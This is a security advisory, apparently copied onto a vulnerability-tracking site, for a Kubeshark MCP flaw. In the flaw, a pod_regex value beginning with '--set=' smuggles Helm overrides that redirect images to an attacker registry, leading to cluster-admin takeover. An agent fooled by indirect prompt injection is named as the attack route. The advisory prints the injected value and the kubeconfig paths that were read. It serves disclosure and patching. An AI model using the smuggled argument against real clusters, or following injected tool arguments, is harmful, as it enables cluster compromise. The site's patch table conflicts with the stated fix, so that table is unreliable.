GHSA-8VF2-HXG5-CRQH
Kubeshark: MCP `start_kubeshark` argument injection via `pod_regex` → image redirect → cluster takeover
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-8VF2-HXG5-CRQH divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Ecosystem / package: Go — `github.com/kubeshark/kubeshark` (the `kubeshark`
CLI, `kubeshark mcp` subcommand)
Affected component: `cmd/mcpRunner.go`, MCP tool `start_kubeshark`
Affected versions: `>= v53.1.0`, `< v53.4.0` (the flaw shipped with the MCP
command's first release; v53.3.0 was the last affected release)
Patched version: `v53.4.0`
Credit: novice-22 (Urim), via private coordinated disclosure.
## Summary
The `start_kubeshark` MCP tool builds a `kubeshark tap` command by appending the
caller-supplied `pod_regex` as a bare positional argument, with no `--`
end-of-options separator. Because `tap` is a cobra command, a `pod_regex` that
begins with `-`/`--set=` is parsed as a flag, not as the pod regex. An
attacker who can influence the tool arguments (e.g. indirect prompt injection
against an agent driving `kubeshark mcp --allow-destructive`) can inject
arbitrary `--set` Helm value overrides — notably `tap.docker.registry` /
`tap.docker.tag` — redirecting the deployed worker/hub/front images to an
attacker-controlled registry. The worker DaemonSet runs privileged with
`hostNetwork` and the host filesystem mounted, so an attacker image yields node
and cluster-admin compromise.
## Introduced in
Commit `0bbbb473` — "[1] Add MCP (Model Context Protocol) server command
(#1832)", 2026-02-06 — first released in v53.1.0 (`v53.1.0~23`). The
`pod_regex` argument has been appended as a bare positional since the tool's
introduction; there is no regression window, every MCP-capable release is
affected.
## Details
In `callStartKubeshark` (`cmd/mcpRunner.go`), the command was built as
`["tap", <pod_regex>, "-n", …, "--set", …, "--set", "headless=true"]` with
`pod_regex` inserted as a raw element. cobra parses flags positionally-agnostic
and there was no `--` guard, so `pod_regex="--set=tap.docker.registry=…,tap.docker.tag=…"`
became a real `--set`. The tool is only registered when
`kubeshark mcp --allow-destructive` is set.
## Proof of concept (reporter, abridged)
Driving `kubeshark mcp --allow-destructive`: `start_kubeshark` with
`pod_regex="--set=tap.docker.registry=<attacker>,tap.docker.tag=<tag>"` caused
the CLI to construct `kubeshark tap --set=… --set headless=true`, deploying an
attacker image. The image ran as root inside the privileged worker container and
read the host's cluster-admin kubeconfigs
(`/etc/kubernetes/super-admin.conf`, `admin.conf`, `pki/`) — i.e. cluster-admin
takeover from a single `pod_regex` value.
## Impact
Full Kubernetes cluster compromise (cluster-admin) from a single injected tool
argument, when the operator runs the MCP server with `--allow-destructive`.
## Severity rationale
Kubeshark scores this 7.2 High, down from the reporter's 8.3, on two metrics. The
impact half of the vector (`S:C/C:H/I:H/A:H`) is unchanged — cluster-admin
takeover is real and Kubeshark does not contest it.
- `AV:N` → `AV:L`. `kubeshark mcp` is a local stdio MCP server with no
- `PR:N` → `PR:H`. Two administrative preconditions must already hold on the
Kubeshark kept `AC:H` (the injection must land in content the agent ingests, and
the attacker must stand up a malicious registry/image), `UI:R` (an operator
must be actively driving the agent), and `S:C` (the compromise crosses from
the CLI's authorization scope into the Kubernetes cluster — this is what keeps
the score in the High band).
## Patches
Fixed in v53.4.0 by commit
`a76a1920` https://github.com/kubeshark/kubeshark/commit/a76a1920dc7587be700a17f1592f58a9512ad214
(PR #1957 https://github.com/kubeshark/kubeshark/pull/1957).
In `cmd/mcpRunner.go`: `pod_regex` is now appended last, after a
literal `--` end-of-options separator, so it is always parsed as the
`[POD REGEX]` positional and can never be interpreted as a flag. (`namespaces` /
`release_namespace` are passed through `-n` / `-s` value flags, which consume
their value token and are therefore not injectable.)
## Workarounds
- Do not run `kubeshark mcp` with `--allow-destructive` unless required.
- Do not expose the MCP server to untrusted content / untrusted agent inputs.
- Restrict the kubeconfig/permissions available to the machine running the MCP
server.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/kubeshark/kubeshark |
Sin parche | — | — | v0.0.1 no afectada |
commit a76a192Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-129236https://github.com/kubeshark/kubeshark/security/advisories/GHSA-8vf2-hxg5-crqhhttps://github.com/kubeshark/kubeshark/pull/1957https://github.com/kubeshark/kubeshark/commit/a76a1920dc7587be700a17f1592f58a9512ad214https://github.com/kubeshark/kubesharkhttps://github.com/kubeshark/kubeshark/releases/tag/v53.4.0Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
